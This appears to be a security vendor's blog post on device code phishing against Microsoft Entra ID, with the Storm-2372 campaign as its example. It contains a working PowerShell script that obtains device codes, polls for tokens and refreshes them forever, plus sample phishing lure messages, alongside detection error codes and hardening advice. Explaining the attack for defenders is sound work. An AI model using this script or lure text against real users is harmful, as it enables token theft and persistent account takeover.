“Attackers didn’t break Entra ID… they logged in.”
In early 2025, Microsoft exposed a sophisticated phishing campaign by Storm-2372, a threat actor targeting critical sectors like government, defense, energy, and education. Their trick? They didn’t steal passwords. They abused the Device Code flow — the same flow Microsoft designed for secure, non-browser logins.
Here’s how it worked:
- They messaged users pretending to be executives or colleagues.
- They sent a legit-looking Microsoft link with a device code.
- Victims went to https://microsoft.com/devicelogin, entered the legit code, and without typing a password, granted the attacker access.
- They are using Microsoft Graph API to search inboxes for terms like “password” and “admin,” and they pivoted internally by sending more phishing messages.
To escalate further, they even registered their own device, acquired a Primary Refresh Token (PRT), and stayed inside the network long-term; all using a flow most orgs don’t even monitor.
We saw it in the wild, with attempts to log in using the device code flow process initiated through SMS or social messages.
What is Device Code Flow?
The Device Code flow is a non-interactive OAuth2 authorization mechanism designed for devices or tools that lack a browser or full input interface; like CLI tools, IoT devices, or PowerShell scripts. It decouples the user’s authentication from the client’s token request, allowing the user to authenticate on a separate trusted device via a short code and link (e.g., aka.ms/devicelogin).
It’s commonly used by headless apps, automation tools, or scripts that need access to Microsoft Graph or Azure APIs without launching a browser in the same session.
Why it matters in practice:
- It’s MFA-compatible, and the user typically authenticates via browser.
- It’s a low-friction flow for developers and attackers alike.
- Used widely in az login, MSAL.PS, and other SDKs.
- Often invisible in the UI, but visible in logs as Browser: Other.
- Commonly abused in token phishing scenarios where the attacker farms user input.
- Token lifetime can enable long-term access with minimal detection if misused.
A canonical example is: “az login –use-device-code”
This triggers the flow and instructs you to visit https://microsoft.com/devicelogin, enter a short code, and complete sign-in on a secondary device.
From Microsoft: “The Microsoft identity platform supports the device authorization grant, which allows users to sign in to input-constrained devices such as a smart TV, IoT device, or a printer. To enable this flow, the device has the user visit a webpage in a browser on another device to sign in. Once the user signs in, the device is able to get access tokens and refresh tokens as needed.”
Source: Microsoft identity platform and the OAuth 2.0 device authorization grant flow.
The Hidden Risks
Token Phishing via Device Code Flow
Threat Summary:
Attackers can initiate a legitimate device_code request and socially engineer the user to complete the authentication, handing over a valid access token to the attacker.
Simulation Flow:
- Attacker script sends a device_code request using a public client_id (like Microsoft Graph PowerShell).
- Receives:
- device_code
- user_code
- verification_uri
- Displays a fake prompt or tricks the user with a message like:
“You must re-authenticate to access corporate tools. Visit https://microsoft.com/devicelogin and enter this code: G7QJ-P9T3″ - The user thinks it’s legitimate, logs in with real credentials, and even passes MFA.
- The attacker’s script is polling, as soon as the login completes, the attacker receives:
- access_token
- refresh_token
Result:
- Full delegated access to Microsoft Graph or other APIs.
- Often invisible to the user, no alert, no email, no pop-up.
Threat Summary:
If Conditional Access isn’t explicitly scoped to “Other clients”, then device_code-based authentication may not be challenged with MFA, even if a baseline policy exists.
Why?
- Device Code flow uses a non-browser client.
- In Entra ID CA policies:
- “Client App Condition” must include “Other clients”.
- Otherwise, token grants from CLI tools or IoT devices can bypass enforcement.
What to Check:
- Go to Entra ID → Conditional Access → Policies → Conditions → Client Apps.
- Ensure you have checked “Other clients” and blocked access or enforced MFA.
ClientAppUsed = Other” in Entra ID Logs
Threat Summary:
When Device Code Flow is used, the ClientAppUsed field is typically Other, making it harder to attribute to a known app or script.
Why does this matter?
- Makes detection harder; device_code grants don’t look like Office 365, Browser, or Mobile Apps.
- Easily lost in a sea of log noise unless you explicitly query for them.
When Device Code Meets SSO: The Hidden Seamless Login
What happens when a user has Single Sign-On (SSO) enabled?
In environments where SSO (Single Sign-On) is configured, such as Entra ID Hybrid Join, Azure AD Join, or Seamless SSO via Kerberos/Integrated Windows Auth (IWA), the user experience with Device Code flow can be nearly invisible.
SSO Experience (Seamless):
- User opens https://microsoft.com/devicelogin
- Enters user code
- Automatically redirected to their SSO provider (e.g., Entra ID via Seamless SSO)
- Auth completes without entering credentials
- Device/script immediately receives access token
What this means:
- No username/password interaction: The login is transparent if the browser is already signed in to the user’s corporate identity (via cookies, Kerberos ticket, etc).
- MFA might not be triggered if Conditional Access policies aren’t enforced properly for Other clients or low-trust signals.
- Users may not realize they just authenticated a script by simply entering a code, and that’s it.
Risk Implication
This creates a golden opportunity for attackers:
- If the attacker can convince a user to visit microsoft.com/devicelogin and enter a code…
- The user has already been signed into Microsoft 365 via SSO.
- The login completes instantly, and the attacker receives valid tokens without any interaction or friction.
No password. No MFA popup. Just a clean token harvest.
The Tradecraft Concept
device_code
Definition:
A non-visible, unique one-time-use code is issued to the client when initiating the device code flow.
How it’s used:
- The client uses it to poll the /token endpoint for the access token.
- Think of it as the backend token that bridges the “pending” authorization session with the user’s eventual approval.
Security Notes:
- Short-lived (usually ~900 seconds).
- If leaked, it can’t be used alone as it needs user approval to become useful.
- Abuse angle: The Attacker generates the token and waits for a victim to authenticate it (via phishing).
user_code
Definition:
A human-readable, 6–8 character alphanumeric code (e.g., ABCD1234) shown to the user, who enters it at the login page (aka.ms/devicelogin).
How it’s used:
- It links the user’s browser session to the specific client’s device_code.
- It’s short, simple, and safe to display, but also phishable.
Security Notes:
- Often used in device phishing: the attacker tricks users into entering it on their behalf.
- Can be observed in social engineering, QR phishing, and browser-in-the-middle attacks.
verification_uri
Definition:
The web address where the user is told to go (typically https://microsoft.com/devicelogin) to complete authentication.
How it’s used:
- The user visits it on a separate, trusted device (like a mobile phone or laptop).
- This separates the authentication from the device needing the token.
Security Notes:
- Microsoft’s page is legitimate, but nothing stops an attacker from replacing it with a fake login page (think: MITM phishing kits).
- Keep an eye on anything outside microsoft.com/devicelogin, especially links with typos or redirects.
Polling
Definition:
The client (PowerShell, CLI tool, app) repeatedly sends requests to the /token endpoint with the device_code until:
- The user authorizes → access token returned
- The device code expires
- The user denies the request
How it’s used:
- Token polling happens in the background, typically every 5 seconds (as dictated by the interval).
- Client polls until it succeeds or hits a failure condition.
Security Notes:
- Attackers may use polling as a passive listener, waiting for victims to authorize.
- Detection point: unusual volume of polling requests, or polling from low-trust locations or automation tools.
Attack Scenario
Gain persistent access to a user’s Microsoft 365 environment via OAuth tokens, bypassing MFA and evading conditional access policies that allow device_code grant.
- Start the Flow on the Attacker’s Machine
- Phish the Target
- Victim Enters Code
- Attacker Gets Access + Refresh Token
- Persist with Refresh Tokens
Tools Used
- PowerShell
- The Device Code Flow script
- A public Microsoft client ID (no app registration required) or any other app.
- A user should be tricked into authenticating the device code.
Attack flow
This PowerShell command is a fully scripted Device Code Flow implementation for Microsoft Graph. It’s designed to:
- Initiate a device code flow
- Guide the user through manual authentication
- Poll for an access token
- Auto-refresh the access token continuously
Let’s break it down step by step like a security researcher analyzing both functionality and attack surface:
Initiate the Device Code Flow
$token = Invoke-RestMethod -Method Post -Uri “https://login.microsoftonline.com/common/oauth2/v2.0/devicecode” `
-Body @{
client_id = “04b07795-8ddb-461a-bbee-02f9e1bf7b46”;
scope = “https://graph.microsoft.com/.default offline_access”
}
- Sends a POST request to the /devicecode endpoint.
- Uses the Microsoft first-party client ID for Azure CLI (04b07795-8ddb-461a-bbee-02f9e1bf7b46).
- Request access to Microsoft Graph with .default and offline_access (to get a refresh token).
Result: You get a user_code, device_code, and a verification_uri.
Prompt the User to Authenticate
Write-Host “Go to $($token.verification_uri) and enter $($token.user_code)”
- Prompts the user to visit https://microsoft.com/devicelogin (or another verification_uri) and enter the user_code.
- This is the interactive part of the flow.
Polling for Access Token
$access = $null
while (-not $access) {
Start-Sleep -Seconds 5
try {
$access = Invoke-RestMethod -Method Post -Uri “https://login.microsoftonline.com/common/oauth2/v2.0/token” `
-Body @{
client_id = “04b07795-8ddb-461a-bbee-02f9e1bf7b46”;
grant_type = “urn:ietf:params:oauth:grant-type:device_code”;
device_code = $token.device_code
} -ErrorAction Stop
} catch {}
}
- Every x seconds, the script polls the /token endpoint using the device_code.
- As soon as the user finishes authenticating, the response contains an access_token and refresh_token.
Display Access Token
Write-Host “Access Token: $($access.access_token)”
- Dumps the access token to the console. From here, you could start calling the Microsoft Graph API.
Auto-Refresh the Access Token (Forever Loop)
while ($true) {
Start-Sleep -Seconds 3500
$access = Invoke-RestMethod -Method Post -Uri “https://login.microsoftonline.com/common/oauth2/v2.0/token” `
-Body @{
client_id = “04b07795-8ddb-461a-bbee-02f9e1bf7b46”;
grant_type = “refresh_token”;
refresh_token = $access.refresh_token;
scope = “https://graph.microsoft.com/.default”
}
Write-Host “New Access Token: $($access.access_token)”
}
- Every ~58 minutes (3500 seconds), it uses the refresh_token time to request a new access_token.
- This prevents session expiration and keeps the token fresh forever.
Security Notes
- Exfil risk: This script exposes the access_token in clear text. A malicious actor with access to the console could harvest tokens.
- Persistence: The infinite loop makes this ideal for token farming or passive access collection, especially in malicious scenarios.
- First-party app abuse: This uses a public client (Azure CLI), so there’s no client secret and no app registration needed, making it easy to abuse in Red Team or malware scenarios.
HTTP Request & Response
Step 1: Request device code
POST /common/oauth2/v2.0/devicecode
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded
client_id=04b07795-8ddb-461a-bbee-02f9e1bf7b46
&scope=https://graph.microsoft.com/.default
Response:
{
“device_code”: “6e23b9d3-…”,
“user_code”: “G7QJ-P9T3”,
“verification_uri”: “https://microsoft.com/devicelogin”,
“expires_in”: 900,
“interval”: 5,
“message”: “To sign in, use a web browser to open https://microsoft.com/devicelogin and enter the code G7QJ-P9T3 to authenticate.”
}
The Attack
The Attack flow from the attacker and victim sides
Attacker Side
Initiate Device Code Request
- Sends request to /devicecode endpoint via script (PowerShell, Python, CLI).
- Receives: device_code, user_code, and verification_uri.
Lures Victim
- Sends phishing message: “Security update required. Enter code G7QJ-P9T3 at https://microsoft.com/devicelogin.”
Waits + Polls
- Starts polling /token with device_code every few seconds.
- Waits for victim to complete auth.
Receives Token
- If successful, it receives access_token and refresh_token.
- Proceeds to call the Graph API or other services on behalf of the victim.
The Guardz Best Experience
While there are many recommendations and best practices, we call it – The Guardz Best Experience. Why do we call it that? Because we put together the vendor recommendations and the best practices, including our vast experience from the field, into one unit – The Guardz Best Experience.
While many organizations have Entra ID P2, many others are using different plans and don’t have the full features of Entra ID.
# Check the Guardz ITDR solution for advanced detections and response. #
Detection
Device Code Flow – Entra ID Error Codes
So, what error codes in the Entra ID can be used in detection mode? The following Error Codes should be for specific use cases or part of others.
Error Code | Name / Meaning | When It Occurs | Detection Use Case |
AADSTS70016 | Authorization Pending | The client is polling for a token, but the user has not yet completed authentication via the verification URI | The client is polling for a token, but the user has not yet completed authentication via the verification URI. |
AADSTS70018 | Bad Verification Code | The user entered an invalid user_code at the verification URI (e.g., typo or fake prompt) | May indicate a user was tricked into using a spoofed code or a phishing attempt with an invalid pairing |
AADSTS70019 | Code Expired | The device code was never redeemed within the timeout window (usually 900 seconds) | Normal in device code flow, but repeated polling without success may indicate automation or phishing attempts. |
AADSTS70021 | No Grant Found | The polling client used a device code that was never initiated or has already been completed/invalid. | Abnormal if seen often — can signal malformed or abused flows |
AADSTS70020 | Authorization Declined | The user explicitly denied the request at the verification page | If the same app sees repeated denials, it may be suspicious or misconfigured |
AADSTS70008 | Refresh Token Expired/Revoked | If a refresh token obtained via device_code is reused after expiry or revocation | May signal token misuse or attempts to reuse stolen tokens |
AADSTS50076 / 50079 | MFA Required (CA Enforcement) | The device_code grant triggered a Conditional Access policy requiring MFA | Good signal that MFA is stopping unauthorized usage of this flow |
AADSTS53003 | Blocked by Conditional Access or Security Defaults | The device_code flow is blocked by CA policies (e.g., “Other clients”) | Validate that the “Block Other Clients” policy is working properly |
Note: The presence of this error code may indicate a direct or indirect identity linkage. It’s essential to correlate preceding and surrounding actions to verify potential misuse, unauthorized access, or device code and token manipulation within the same scope.
Summary
While Device Code Flow can be restricted or blocked using Entra ID P2 Conditional Access, it still has abuse potential, especially in environments where:
- Legacy or unmonitored scripts still use it
- Token phishing tricks the user into authorizing the attacker’s sessions
- Shadow apps operate under the radar using approved permissions
- Refresh tokens extend access even after the initial window
🔜 Who are the real abusers of Device Code Flow? What red teams, token farms, and phishing kits don’t want you to know is coming in the next post.
📢 Stay tuned and share this post, because in security… sharing = caring = defending
- Share On: